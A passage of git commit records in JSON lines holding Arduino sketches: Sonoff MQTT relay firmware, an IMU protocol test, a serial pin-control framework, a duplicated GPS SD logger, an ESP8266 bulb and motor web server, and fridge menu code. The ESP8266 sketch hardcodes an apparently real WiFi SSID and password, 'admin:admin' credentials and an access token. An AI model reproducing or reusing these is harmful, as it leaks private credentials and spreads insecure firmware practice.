OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n SOFTWARE.\n\n ==============================================================================\n Changes in v1.01\n \n - Relay state now stored in EEPROM and will power up with last relay state\n ==============================================================================\n\n **** USE THIS Firmware for: Original Sonoff, Sonoff SV, Sonoff Touch, Sonoff S20 Smart Socket ****\n\n*\/\n\n#include \n#include \n#include \n#include \n\n#define BUTTON 0 \/\/ (Don't Change for Original Sonoff, Sonoff SV, Sonoff Touch, Sonoff S20 Socket)\n#define RELAY 12 \/\/ (Don't Change for Original Sonoff, Sonoff SV, Sonoff Touch, Sonoff S20 Socket)\n#define LED 13 \/\/ (Don't Change for Original Sonoff, Sonoff SV, Sonoff Touch, Sonoff S20 Socket)\n\n#define MQTT_CLIENT \"Sonoff_Living_Room_v1.01p\" \/\/ mqtt client_id (Must be unique for each Sonoff)\n#define MQTT_SERVER \"192.168.0.100\" \/\/ mqtt server\n#define MQTT_PORT 1883 \/\/ mqtt port\n#define MQTT_TOPIC \"home\/sonoff\/living_room\/1\" \/\/ mqtt topic (Must be unique for each Sonoff)\n#define MQTT_USER \"user\" \/\/ mqtt user\n#define MQTT_PASS \"pass\" \/\/ mqtt password\n\n#define WIFI_SSID \"homewifi\" \/\/ wifi ssid\n#define WIFI_PASS \"homepass\" \/\/ wifi password\n\n#define VERSION \"\\n\\n------------------ Sonoff Powerpoint v1.01p ------------------\"\n\nbool rememberRelayState = true; \/\/ If 'true' remembers the state of the relay before power loss.\nbool sendStatus = false; \/\/ (Do not Change)\nbool requestRestart = false; \/\/ (Do not Change)\n\nint kUpdFreq = 1; \/\/ Update frequency in Mintes to check for mqtt connection\nint kRetries = 10; \/\/ WiFi retry count. Increase if not connecting to router.\nint lastRelayState; \/\/ (Do not Change)\n\nunsigned long TTasks; \/\/ (Do not Change)\nunsigned long count = 0; \/\/ (Do not Change)\n\nextern \"C\" { \n #include \"user_interface.h\" \n}\n\nWiFiClient wifiClient;\nPubSubClient mqttClient(wifiClient, MQTT_SERVER, MQTT_PORT);\nTicker btn_timer;\n\nvoid callback(const MQTT::Publish& pub) {\n if (pub.payload_string() == \"stat\") {\n }\n else if (pub.payload_string() == \"on\") {\n digitalWrite(LED, LOW);\n digitalWrite(RELAY, HIGH);\n }\n else if (pub.payload_string() == \"off\") {\n digitalWrite(LED, HIGH);\n digitalWrite(RELAY, LOW);\n }\n else if (pub.payload_string() == \"reset\") {\n requestRestart = true;\n }\n sendStatus = true;\n}\n\nvoid setup() {\n pinMode(LED, OUTPUT);\n pinMode(RELAY, OUTPUT);\n pinMode(BUTTON, INPUT);\n digitalWrite(LED, HIGH);\n digitalWrite(RELAY, LOW);\n Serial.begin(115200);\n EEPROM.begin(8);\n lastRelayState = EEPROM.read(0);\n if (rememberRelayState && lastRelayState == 1) {\n digitalWrite(LED, LOW);\n digitalWrite(RELAY, HIGH);\n }\n btn_timer.attach(0.05, button);\n mqttClient.set_callback(callback);\n WiFi.mode(WIFI_STA);\n WiFi.begin(WIFI_SSID, WIFI_PASS);\n Serial.println(VERSION);\n Serial.print(\"\\nUnit ID: \");\n Serial.print(\"esp8266-\");\n Serial.print(ESP.getChipId(), HEX);\n Serial.print(\"\\nConnecting to \"); Serial.print(WIFI_SSID); Serial.print(\" Wifi\"); \n while ((WiFi.status() != WL_CONNECTED) && kRetries --) {\n delay(500);\n Serial.print(\" .\");\n }\n if (WiFi.status() == WL_CONNECTED) { \n Serial.println(\" DONE\");\n Serial.print(\"IP Address is: \"); Serial.println(WiFi.localIP());\n Serial.print(\"Connecting to \");Serial.print(MQTT_SERVER);Serial.print(\" Broker . .\");\n delay(500);\n while (!mqttClient.connect(MQTT::Connect(MQTT_CLIENT).set_keepalive(90).set_auth(MQTT_USER, MQTT_PASS)) && kRetries --) {\n Serial.print(\" .\");\n delay(1000);\n }\n if(mqttClient.connected()) {\n Serial.println(\" DONE\");\n Serial.println(\"\\n---------------------------- Logs ----------------------------\");\n Serial.println();\n mqttClient.subscribe(MQTT_TOPIC);\n blinkLED(LED, 40, 8);\n if(digitalRead(RELAY) == HIGH) {\n digitalWrite(LED, LOW);\n } else {\n digitalWrite(LED, HIGH);\n }\n }\n else {\n Serial.println(\" FAILED!\");\n Serial.println(\"\\n----------------------------------------------------------------\");\n Serial.println();\n }\n }\n else {\n Serial.println(\" WiFi FAILED!\");\n Serial.println(\"\\n----------------------------------------------------------------\");\n Serial.println();\n }\n}\n\nvoid loop() { \n mqttClient.loop();\n timedTasks();\n checkStatus();\n}\n\nvoid blinkLED(int pin, int duration, int n) { \n for(int i=0; i 1 && count <= 40) { \n digitalWrite(LED, !digitalRead(LED));\n digitalWrite(RELAY, !digitalRead(RELAY));\n sendStatus = true;\n } \n else if (count >40){\n Serial.println(\"\\n\\nSonoff Rebooting . . . . . . . . Please Wait\"); \n requestRestart = true;\n } \n count=0;\n }\n}\n\nvoid checkConnection() {\n if (WiFi.status() == WL_CONNECTED) {\n if (mqttClient.connected()) {\n Serial.println(\"mqtt broker connection . . . . . . . . . . OK\");\n } \n else {\n Serial.println(\"mqtt broker connection . . . . . . . . . . LOST\");\n requestRestart = true;\n }\n }\n else { \n Serial.println(\"WiFi connection . . . . . . . . . . LOST\");\n requestRestart = true;\n }\n}\n\nvoid checkStatus() {\n if (sendStatus) {\n if(digitalRead(LED) == LOW) {\n if (rememberRelayState) {\n EEPROM.write(0, 1);\n } \n mqttClient.publish(MQTT::Publish(MQTT_TOPIC\"\/stat\", \"on\").set_retain().set_qos(1));\n Serial.println(\"Relay . . . . . . . . . . . . . . . . . . ON\");\n } else {\n if (rememberRelayState) {\n EEPROM.write(0, 0);\n } \n mqttClient.publish(MQTT::Publish(MQTT_TOPIC\"\/stat\", \"off\").set_retain().set_qos(1));\n Serial.println(\"Relay . . . . . . . . . . . . . . . . . . OFF\");\n }\n if (rememberRelayState) {\n EEPROM.commit();\n } \n sendStatus = false;\n }\n if (requestRestart) {\n blinkLED(LED, 400, 4);\n ESP.restart();\n }\n}\n\nvoid timedTasks() {\n if ((millis() > TTasks + (kUpdFreq*60000)) || (millis() < TTasks)) { \n TTasks = millis();\n checkConnection();\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/ESPsonoff-v1.01p\/ESPsonoff-v1.01p.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"5187bde11963a5981d8bf125d5d56cf57bdc57ae","subject":"renamed from IMU_Protocol","message":"renamed from IMU_Protocol","repos":"Team4761\/Nav6J","old_file":"arduino\/nav6ProtocolTest\/nav6ProtocolTest.ino","new_file":"arduino\/nav6ProtocolTest\/nav6ProtocolTest.ino","new_contents":"#include \"IMUProtocol.h\"\n\nvoid setup()\n{\n Serial.begin(57600);\n Serial.println(\"Init\"); \n}\n\nchar protocol_buff[256];\n\nfloat yaw = 1.06;\nfloat pitch = 162.1;\nfloat roll = -13.28;\nfloat compass_heading = 17.5;\n\nvoid loop()\n{\n int num_bytes = IMUProtocol::encodeYPRUpdate( protocol_buff, yaw, pitch, roll, compass_heading );\n Serial.write((byte *)protocol_buff,num_bytes);\n delay(1000);\n float decodedyaw, decodedpitch, decodedroll, decodedcompassheading;\n if ( IMUProtocol::decodeYPRUpdate( protocol_buff, num_bytes, decodedyaw, decodedpitch, decodedroll, decodedcompassheading ) )\n {\n Serial.print(\"Decoded. Yaw: \" );\n Serial.print(decodedyaw);\n Serial.print(\" Pitch: \");\n Serial.print(decodedpitch);\n Serial.print(\" Roll: \" );\n Serial.println(decodedroll);\n Serial.print(\" Heading: \" );\n Serial.println(decodedcompassheading);\n }\n else\n {\n Serial.println(\"Error Decoding\");\n }\n}\n\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/nav6ProtocolTest\/nav6ProtocolTest.ino' did not match any file(s) known to git\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"125b9ee91fbad8660f1827db1065c0a7be47d21a","subject":"Create jaaf.ino","message":"Create jaaf.ino","repos":"doorgan\/jaaf","old_file":"jaaf.ino","new_file":"jaaf.ino","new_contents":"\/*\n * JAAF es un micro-framework para comunicar placas Arduino\n * con computadoras mediante comunicaci\u00f3n serial.\n *\/\n\n#include \n\nServo servos[48];\n\n#define hash 0x23\n#define semicolon 0x3b \n#define tagLength 5\n\nint tagIndex = 0;\n\nchar com[tagLength], val[tagLength], pin[tagLength];\n\nbool comComplete = false;\nbool valComplete = false;\nbool pinComplete = false;\n\nvoid setup() {\n \/\/ put your setup code here, to run once:\n Serial.begin(9600);\n Serial.println(\"READY\");\n}\n\nvoid loop() {\n \/\/ put your main code here, to run repeatedly:\n if(Serial.available() > 0) {\n delay(15);\n readData();\n }\n}\n\nvoid readData(){\n char thisChar = Serial.read();\n \n if(thisChar == hash){\n while(comComplete == false && Serial.available() > 0){\n char thisChar = Serial.read();\n if(thisChar == semicolon){\n comComplete = true;\n break;\n }\n else {\n com[tagIndex] = thisChar;\n tagIndex++;\n }\n }\n tagIndex = 0;\n while(pinComplete == false && Serial.available() > 0){\n char thisChar = Serial.read();\n if(thisChar == semicolon){\n pinComplete = true;\n break;\n }\n else {\n pin[tagIndex] = thisChar;\n tagIndex++;\n }\n }\n tagIndex = 0;\n while(valComplete == false && Serial.available() > 0){\n char thisChar = Serial.read();\n if(thisChar == semicolon){\n valComplete = true;\n break;\n }\n else {\n val[tagIndex] = thisChar;\n tagIndex++;\n }\n }\n tagIndex = 0;\n \n if(comComplete && valComplete && pinComplete){\n \n if(strcmp(com,\"pm\")==0){ \/\/ pin mode\n pm(pin, val); \/\/ 0 = input; 1 = output\n }\n \n if(strcmp(com,\"dr\")==0){ \/\/ digital read\n dr(pin);\n }\n if(strcmp(com,\"dw\")==0){ \/\/ digital write\n dw(pin, val); \/\/ 0 = low; 1=high;\n }\n \n if(strcmp(com,\"ar\")==0){ \/\/ analog read\n ar(pin);\n }\n if(strcmp(com,\"aw\")==0){ \/\/ analog write\n aw(pin, val);\n }\n \n if(strcmp(com,\"as\")==0){ \/\/ attach servo\n as(pin);\n }\n \n if(strcmp(com,\"ds\")==0){ \/\/ detach servo\n ds(pin);\n }\n \n if(strcmp(com,\"st\")==0){ \/\/ servo to position\n st(pin, val);\n }\n \n \/\/ Serial.print(\"com: \");Serial.print(com);Serial.print(\"; pin: \");Serial.print(pin);Serial.print(\"; val: \");Serial.println(val);\n }\n for (int i=0;i<5;i++){\n com[i] = 0x00;\n pin[i] = 0x00;\n val[i] = 0x00;\n }\n \n comComplete = false;\n pinComplete = false;\n valComplete = false;\n }\n}\n\n\/\/ Pinmode\nvoid pm(char *pin, char *val){\n int p = atoi(pin);\n int v = atoi(val);\n switch(v){\n case 0:\n pinMode(p,INPUT); break;\n case 1:\n pinMode(p,OUTPUT); break;\n }\n}\n\n\/\/ DIGITAL\n\/\/ Digital read\nvoid dr(char *pin){\n int p = atoi(pin);\n Serial.println( digitalRead(p) );\n}\n\/\/ Digital write\nvoid dw(char *pin, char *val){\n int p = atoi(pin);\n int v = atoi(val);\n switch(v){\n case 0:\n digitalWrite(p,LOW); break;\n case 1:\n digitalWrite(p,HIGH); break;\n }\n}\n\n\/\/ ANALOG\n\/\/ Analog read\nvoid ar(char *pin){\n int p = getPin(pin);\n if(p == -1) return;\n pinMode(p, INPUT);\n int rval = analogRead(p);\n char m[8];\n char v [12];\n sprintf(m, \"%03d\", rval);\n sprintf(v,\"#ar;%s;%i;!\",pin,rval);\n Serial.println( v );\n}\n\/\/ Analog write\nvoid aw(char *pin, char *val){\n int p = getPin(pin);\n if(p == -1) return;\n int v = atoi(val);\n pinMode(p,OUTPUT);\n if(v >= 0 && v <= 1023){\n analogWrite(p, v);\n }\n}\n\n\/\/ SERVO\n\n\/\/ Attach servo\nvoid as(char *pin){\n int p = atoi(pin);\n servos[p].attach(p);\n}\n\/\/ Detach servo\nvoid ds(char *pin){\n int p = atoi(pin);\n servos[p].detach();\n}\n\/\/ Servo to position\nvoid st(char *pin, char *val){\n int p = atoi(pin);\n int pos = atoi(val);\n if(pos >= 0 && pos <= 180){\n servos[p].write(pos);\n }\n}\n\n\nint getPin(char *pin) { \/\/ Convierte a A0-A5, devuelve -1 en caso de error\n int r = -1;\n if(pin[0] == 'A' || pin[0] == 'a') {\n switch(pin[1]) {\n case '0': r = A0; break;\n case '1': r = A1; break;\n case '2': r = A2; break;\n case '3': r = A3; break;\n case '4': r = A4; break;\n case '5': r = A5; break;\n default: break;\n }\n } else {\n r = atoi(pin);\n if(r == 0 && (pin[0] != '0' || pin[1] != '0')) {\n r = -1;\n }\n }\n return r;\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'jaaf.ino' did not match any file(s) known to git\n","license":"isc","lang":"Arduino"} {"commit":"fbd979cac8aea3188af35759329437c7571914c6","subject":"setup test","message":"setup test\n","repos":"bitsybits\/bitsybits-core,bitsybits\/bitsybits-core","old_file":"src\/bitsybits-sketch.ino","new_file":"src\/bitsybits-sketch.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/bitsybits\/bitsybits-core.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"ffb19795dfc034efaa6128dab33c47aa32d42d49","subject":"Fix race condition with calling lastNMEA twice in shield_sd example.","message":"Fix race condition with calling lastNMEA twice in shield_sd example.\n","repos":"adafruit\/Adafruit-GPS-Library,ulrichard\/Adafruit-GPS-Library,lolisa\/2014-15,huskyroboticsteam\/2014-15,lolisa\/2014-15,huskyroboticsteam\/2014-15,tonesandtones\/Adafruit-GPS-Library,kaaLabs15\/Adafruit-GPS-Library,lolisa\/2014-15,huskyroboticsteam\/2014-15","old_file":"examples\/shield_sdlog\/shield_sdlog.ino","new_file":"examples\/shield_sdlog\/shield_sdlog.ino","new_contents":"#include \n#include \n#include \n#include \n#include \n\n\/\/ Ladyada's logger modified by Bill Greiman to use the SdFat library\n\/\/\n\/\/ This code shows how to listen to the GPS module in an interrupt\n\/\/ which allows the program to have more 'freedom' - just parse\n\/\/ when a new NMEA sentence is available! Then access data when\n\/\/ desired.\n\/\/\n\/\/ Tested and works great with the Adafruit Ultimate GPS Shield\n\/\/ using MTK33x9 chipset\n\/\/ ------> http:\/\/www.adafruit.com\/products\/\n\/\/ Pick one up today at the Adafruit electronics shop \n\/\/ and help support open source hardware & software! -ada\n\nSoftwareSerial mySerial(8, 7);\nAdafruit_GPS GPS(&mySerial);\n\n\/\/ Set GPSECHO to 'false' to turn off echoing the GPS data to the Serial console\n\/\/ Set to 'true' if you want to debug and listen to the raw GPS sentences\n#define GPSECHO true\n\/* set to true to only log to SD when GPS has a fix, for debugging, keep it false *\/\n#define LOG_FIXONLY false \n\n\/\/ this keeps track of whether we're using the interrupt\n\/\/ off by default!\nboolean usingInterrupt = false;\nvoid useInterrupt(boolean); \/\/ Func prototype keeps Arduino 0023 happy\n\n\/\/ Set the pins used\n#define chipSelect 10\n#define ledPin 13\n\nFile logfile;\n\n\/\/ read a Hex value and return the decimal equivalent\nuint8_t parseHex(char c) {\n if (c < '0')\n return 0;\n if (c <= '9')\n return c - '0';\n if (c < 'A')\n return 0;\n if (c <= 'F')\n return (c - 'A')+10;\n}\n\n\/\/ blink out an error code\nvoid error(uint8_t errno) {\n \/*\n if (SD.errorCode()) {\n putstring(\"SD error: \");\n Serial.print(card.errorCode(), HEX);\n Serial.print(',');\n Serial.println(card.errorData(), HEX);\n }\n *\/\n while(1) {\n uint8_t i;\n for (i=0; i\n#include \n#include \n#include \n#include \n\n\/\/ Ladyada's logger modified by Bill Greiman to use the SdFat library\n\/\/\n\/\/ This code shows how to listen to the GPS module in an interrupt\n\/\/ which allows the program to have more 'freedom' - just parse\n\/\/ when a new NMEA sentence is available! Then access data when\n\/\/ desired.\n\/\/\n\/\/ Tested and works great with the Adafruit Ultimate GPS Shield\n\/\/ using MTK33x9 chipset\n\/\/ ------> http:\/\/www.adafruit.com\/products\/\n\/\/ Pick one up today at the Adafruit electronics shop \n\/\/ and help support open source hardware & software! -ada\n\nSoftwareSerial mySerial(8, 7);\nAdafruit_GPS GPS(&mySerial);\n\n\/\/ Set GPSECHO to 'false' to turn off echoing the GPS data to the Serial console\n\/\/ Set to 'true' if you want to debug and listen to the raw GPS sentences\n#define GPSECHO true\n\/* set to true to only log to SD when GPS has a fix, for debugging, keep it false *\/\n#define LOG_FIXONLY false \n\n\/\/ this keeps track of whether we're using the interrupt\n\/\/ off by default!\nboolean usingInterrupt = false;\nvoid useInterrupt(boolean); \/\/ Func prototype keeps Arduino 0023 happy\n\n\/\/ Set the pins used\n#define chipSelect 10\n#define ledPin 13\n\nFile logfile;\n\n\/\/ read a Hex value and return the decimal equivalent\nuint8_t parseHex(char c) {\n if (c < '0')\n return 0;\n if (c <= '9')\n return c - '0';\n if (c < 'A')\n return 0;\n if (c <= 'F')\n return (c - 'A')+10;\n}\n\n\/\/ blink out an error code\nvoid error(uint8_t errno) {\n \/*\n if (SD.errorCode()) {\n putstring(\"SD error: \");\n Serial.print(card.errorCode(), HEX);\n Serial.print(',');\n Serial.println(card.errorData(), HEX);\n }\n *\/\n while(1) {\n uint8_t i;\n for (i=0; i\n#include \n#include \n\nconst char* ssid = \"TP-LINK_EB7F32\";\nconst int motorPin = 12; \/\/corresponds to D6\nconst int bulbPin = 13; \/\/corresponds to D7\nconst int ON = 1;\nconst int OFF = 0;\nconst char* password = \"80246008\";\nconst String creds = \"admin:admin\";\nconst String tokenEP = \"http:\/\/192.168.0.103:8280\/oauth2wrapper\/introspect\";\nconst String cntType = \"application\/x-www-form-urlencoded\";\nconst String tokenhdr = \"token=08a8c552-b515-399d-a05f-d3139de4a316\";\n\n\/\/ Create an instance of the server\n\/\/ specify the port to listen on as an argument\nWiFiServer server(80);\n\nvoid setup() {\n Serial.begin(115200);\n delay(10);\n\n \/\/ prepare GPIO2\n \/\/pinMode(2, OUTPUT); \/\/default led\n \/\/digitalWrite(2, 0); \/\/default led\n\n pinMode(bulbPin, OUTPUT);\n digitalWrite(bulbPin, 0);\n\n pinMode(motorPin, OUTPUT);\n digitalWrite(motorPin, 0);\n\n \/\/ Connect to WiFi network\n Serial.println();\n Serial.println();\n Serial.print(\"Connecting to \");\n Serial.println(ssid);\n\n WiFi.begin(ssid, password);\n\n while (WiFi.status() != WL_CONNECTED) {\n delay(500);\n Serial.print(\".\");\n }\n Serial.println(\"\");\n Serial.println(\"WiFi connected\");\n\n \/\/ Start the server\n server.begin();\n Serial.println(\"Server started\");\n\n \/\/ Print the IP address\n Serial.println(WiFi.localIP());\n}\n\n\nString callKeyM()\n{\n if(WiFi.status()== WL_CONNECTED){ \/\/Check WiFi connection status\n \n HTTPClient http; \/\/Declare object of class HTTPClient\n \n http.begin(tokenEP); \/\/Specify request destination\n http.addHeader(\"content-type\", cntType); \/\/Specify content-type header\n http.addHeader(\"user\", creds);\n \n int httpCode = http.POST(tokenhdr); \/\/Send the request\n String payload = http.getString(); \/\/Get the response payload\n \n http.end(); \/\/Close connection\n return payload;\n }else{\n Serial.println(\"Error in WiFi connection\"); \n }\n}\n\nvoid loop() { \n \/\/ Check if a client has connected\n WiFiClient client = server.available();\n if (!client) {\n return;\n }\n\n \/\/ Wait until the client sends some data\n Serial.println(\"new client\");\n while(!client.available()){\n delay(1);\n }\n\n \/\/ Read the first line of the request\n String req = client.readStringUntil('\\r');\n Serial.println(req);\n client.flush();\n\n \/\/ Match the request\n int val;\n String outcome;\n if (req.indexOf(\"\/bulb\/0\") != -1){\n outcome = callKeyM();\n if(outcome == \"true\"){\n digitalWrite(bulbPin, OFF);\n }\n }\n else if (req.indexOf(\"\/bulb\/1\") != -1){\n outcome = callKeyM();\n if(outcome == \"true\"){\n digitalWrite(bulbPin, ON);\n }\n }else if (req.indexOf(\"\/motor\/1\") != -1){\n outcome = callKeyM();\n if(outcome == \"true\"){\n digitalWrite(motorPin, ON);\n }\n }else if (req.indexOf(\"\/motor\/0\") != -1){\n outcome = callKeyM();\n if(outcome == \"true\"){\n digitalWrite(motorPin, OFF);\n }\n }else {\n Serial.println(\"invalid request\");\n client.stop();\n return;\n }\n\n Serial.println(\"$$$ Outcome :\" +outcome);\n\n\/\/ Set GPIO2 according to the request\n\/\/ if(outcome == \"true\"){\n\/\/ digitalWrite(2, val); \/\/default led\n\/\/ digitalWrite(13, val);\n\/\/ }\n\n char temp[400];\n int sec = millis() \/ 1000;\n int min = sec \/ 60;\n int hr = min \/ 60;\n\n snprintf ( temp, 400,\n \n\"HTTP\/1.1 200 OK\\r\\nContent-Type: text\/html\\r\\n\\r\\n\\r\\n\\\n \\\n \\\n ESP8266 DEMO<\/title>\\\n <style>\\\n body { background-color: #cccccc; font-family: Arial, Helvetica, Sans-Serif; Color: #000088; }\\\n <\/style>\\\n <\/head>\\\n <body>\\\n <h1>GPIO is now : %02d<\/h1>\\\n <p>Uptime: %02d:%02d:%02d<\/p>\\\n <\/body>\\\n<\/html>\",\n\n val, hr, min % 60, sec % 60\n );\n client.print (temp);\n \n delay(1);\n Serial.println(\"Client disonnected\");\n\n \/\/ The client will actually be disconnected\n \/\/ when the function returns and 'client' object is detroyed\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'ActiSense\/AlertMe\/alertMe.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"308460739c7c29efd3c4e46c62bb6a0bb0317de2","subject":"Create Menus.ino","message":"Create Menus.ino","repos":"pjarvey\/Lagering-Fridge","old_file":"Menus.ino","new_file":"Menus.ino","new_contents":"\/\/ All menu options are defined below. Note this system is flexible and easily applicable to other projects on small screents, particularly where an encoder is used to navigate menus. \n\nvoid Menus(){\n \n switch (menu) {\n case 0: \/\/ home screen (displays values)\n SensorCheck();\n \/\/Triggers(); \/\/RUN from within sensorcheck\n if(pulselast != pulses){\n lcd.backlight();\n backlighton = millis();}\n if(buttonstate == true && (millis() - buttontimeon) > 2000){ \n lcd.clear();\n lcd.backlight();\n backlighton = millis();\n Loading();\n pulses = 9000;\n buttontimeon = millis();\n buttonstate = false;\n menu = 10;\n }\n break;\n\n\n case 10:\n EncoderTranslate(9);\n lcd.setCursor(0, 0);\n lcd.print(\"Menu: Home\");\n lcd.setCursor(1, 1);\n lcd.write(0x7E);\n \n switch(selector) {\n case 7:\n lcd.print(mainMenu[selector]);\n lcd.setCursor(2, 2);\n lcd.print(mainMenu[selector+1]);\n lcd.setCursor(2, 3);\n lcd.print(mainMenu[0]);\n break;\n case 8:\n lcd.print(mainMenu[selector]);\n lcd.setCursor(2, 2);\n lcd.print(mainMenu[0]);\n lcd.setCursor(2, 3);\n lcd.print(mainMenu[1]);\n break;\n default:\n lcd.print(mainMenu[selector]);\n lcd.setCursor(2, 2);\n lcd.print(mainMenu[selector+1]);\n lcd.setCursor(2, 3);\n lcd.print(mainMenu[selector+2]);\n }\n \/\/delay (10);\n selector = pulseMod;\n \n\n if(buttonstate == true) {\n selectorprev = pulseMod;\n lcd.clear();\n buttonstate = false;\n delay(100);\n switch (selectorprev) {\n case 0: Loading(); HomeSetup(); menu = 0; break;\n case 1: pulses = brewtimer*4; Loading(); menu = 20; break; \/\/program\n case 2: pulses = (SvT * 40); Loading(); menu = 30; break; \/\/manual\n case 3: pulses = dutyCycle*2; Loading(); menu = 50; break; \/\/\n case 4: pulses = (fanON * 5); Loading(); menu = 60; break;\n case 5: pulses = (TimeAdjust \/ 60000); Hours = (Time%86400000)\/3600000; Minutes = (Time%3600000)\/60000;Loading(); menu = 70; break;\n case 6: Loading(); menu = 80; break;\n case 7: if (Mode == 1) menu = 90; if (Mode == 0) menu = 92; pulseprev = pulses; break; \/\/save settings\n case 8: menu = 100; break; \/\/save settings\n delay (50);\n } \n }\n break;\n \n \n\n \n case 20: \n brewtimerON = 1;\n lcd.setCursor(3, 0);\n lcd.print(\"In \");\n lcd.write(0x7E);\n lcd.print(brewtimer);\n lcd.print(\" hours, \");\n lcd.setCursor(6, 1);\n lcd.print(\"(\");\n lcd.print(brewtimer \/ 24);\n lcd.print(\"Days)\");\n lcd.setCursor(1, 2);\n lcd.print(\"Set temperature to:\");\n lcd.setCursor(8, 3);\n lcd.print(brewtimerSv,1);\n lcd.print(\" \");\n \n pulseprev = pulses;\n brewtimer = (pulseprev\/4);\n \n if(brewtimer - (millis()\/3600000) < 0 ) brewtimer = millis()\/3600000;\n \n if(buttonstate == true) {\n pulses = (brewtimerSv * 40);\n brewtimerRef = millis();\n if (brewtimer > 0) brewtimerON = 1;\n delay(500);\n menu = 21;\n }\n break;\n\n case 21:\n \n lcd.setCursor(6, 0);\n lcd.print(\" \");\n lcd.setCursor(7, 3); \n lcd.write(0x7E);\n lcd.print(brewtimerSv,1);\n lcd.printByte(1);\n \n pulseprev = pulses;\n brewtimerSv = (pulseprev\/40);\n \n if(buttonstate == true) {\n goHome();\n }\n break;\n \n \n \n case 30: \n lcd.setCursor(1, 1);\n lcd.write(0x7E);\n lcd.setCursor(2, 1);\n lcd.print(\"Set Temp: \");\n lcd.setCursor(12, 1);\n lcd.print(SvT,2);\n lcd.printByte(1);\n lcd.print(\" \");\n\n lcd.setCursor(2, 2);\n lcd.print(\"Set Hum%: \");\n lcd.setCursor(12, 2);\n lcd.print(SvH,0);\n lcd.printByte(2);\n \n pulseprev = pulses;\n SvT = (pulseprev\/40);\n \n if(buttonstate == true) {\n buttonstate = false;\n pulses = (SvH * 4);\n delay(500);\n menu = 32;\n }\n break;\n\n case 32:\n lcd.setCursor(1, 1);\n lcd.print(\" \");\n lcd.setCursor(1, 2);\n lcd.write(0x7E);\n lcd.setCursor(2, 2);\n lcd.print(\"Set Hum%: \");\n lcd.setCursor(12, 2);\n lcd.print(SvH,0);\n lcd.printByte(2);\n lcd.print(\" \");\n \n pulseprev = pulses;\n SvH = (pulseprev\/4);\n \n if(buttonstate == true) {\n goHome();\n }\n break; \n \n \n \n case 50: \n lcd.setCursor(1, 0);\n lcd.print(\"DutyCycle:\");\n lcd.setCursor(1, 1);\n lcd.print(\"Begin autotune?\");\n lcd.setCursor(1, 2);\n lcd.print(\"Manual tune\");\n lcd.setCursor(1, 3);\n lcd.print(\"Exit\");\n \n lcd.setCursor(12, 0);\n lcd.print(dutyCycle,0);\n lcd.print(\" min \");\n delay (10);\n \n EncoderTranslate(4);\n submenu = pulseMod;\n \n switch(submenu){\n case 0:\n lcd.setCursor(0, 0);\n lcd.write(0x7E);\n lcd.setCursor(0, 1);\n lcd.print(\" \");\n lcd.setCursor(0, 2);\n lcd.print(\" \");\n lcd.setCursor(0, 3);\n lcd.print(\" \");\n if(buttonstate == true) {\n buttonstate = false;\n pulses = dutyCycle*4;\n menu = 51;\n }\n break; \n case 1:\n lcd.setCursor(0, 0);\n lcd.print(\" \");\n lcd.setCursor(0, 1);\n lcd.write(0x7E);\n lcd.setCursor(0, 2);\n lcd.print(\" \");\n lcd.setCursor(0, 3);\n lcd.print(\" \");\n if(buttonstate == true) {\n buttonstate = false;\n lcd.clear();\n menu = 52;\n }\n break; \n case 2:\n lcd.setCursor(0, 0);\n lcd.print(\" \");\n lcd.setCursor(0, 1);\n lcd.print(\" \");\n lcd.setCursor(0, 2);\n lcd.write(0x7E);\n lcd.setCursor(0, 3);\n lcd.print(\" \");\n if(buttonstate == true) {\n pulses = Kp * 40;\n lcd.clear();\n buttonstate = false;\n menu = 53;\n }\n break; \n case 3:\n lcd.setCursor(0, 0);\n lcd.print(\" \");\n lcd.setCursor(0, 1);\n lcd.print(\" \");\n lcd.setCursor(0, 2);\n lcd.print(\" \");\n lcd.setCursor(0, 3);\n lcd.write(0x7E);\n if(buttonstate == true) {\n goHome();\n }\n break; } \n \n break; \n \n case 51:\n\n lcd.setCursor(11, 0);\n lcd.write(0x7E);\n lcd.print(dutyCycle,0);\n lcd.print(\" min \");\n \n pulseprev = pulses;\n dutyCycle = (pulseprev\/4);\n\n if(buttonstate == true) {\n lcd.setCursor(11, 0);\n lcd.print(\" \");\n coolWindowSize = dutyCycle * 60000; \n coolOffElapsed = millis();\n buttonstate = false;\n menu = 50;\n } \n break; \n case 52:\n\n \n lcd.setCursor(0, 1);\n lcd.print(\"Begin (est \");\n lcd.print((dutyCycle*4),0);\n lcd.print(\" min)\");\n \n EncoderTranslate(2);\n submenu = pulseMod;\n lcd.setCursor(8, 2);\n lcd.write(0x7E);\n lcd.print(YesNo[submenu]);\n\n if(buttonstate == true && submenu == 0) {\n \/\/insert autotune\n goHome();\n }\n if(buttonstate == true && submenu == 1) {\n goHome();\n } \n break; \n case 53: \n lcd.setCursor(0, 0);\n lcd.write(0x7E); \n lcd.setCursor(1, 0);\n lcd.print(\"Kp: \");\n lcd.print(Kp,2);\n lcd.setCursor(1, 1);\n lcd.print(\"Ki: \");\n lcd.print(Ki,2);\n lcd.setCursor(1, 2);\n lcd.print(\"Kd: \");\n lcd.print(Kd,2);\n lcd.setCursor(1, 3);\n \n \n pulseprev = pulses;\n Kp = (pulseprev\/40);\n \n if(buttonstate == true) {\n buttonstate = false;\n pulses = Ki * 40;\n lcd.setCursor(0, 0);\n lcd.print(\" \");\n lcd.setCursor(0, 1);\n lcd.write(0x7E); \n menu = 54;\n }\n break; \n \n \n case 54: \n lcd.setCursor(5, 1);\n lcd.print(Ki,2);\n pulseprev = pulses;\n Ki = (pulseprev\/40);\n if(buttonstate == true) {\n buttonstate = false;\n pulses = Kd * 40;\n lcd.setCursor(0, 1);\n lcd.print(\" \");\n lcd.setCursor(0, 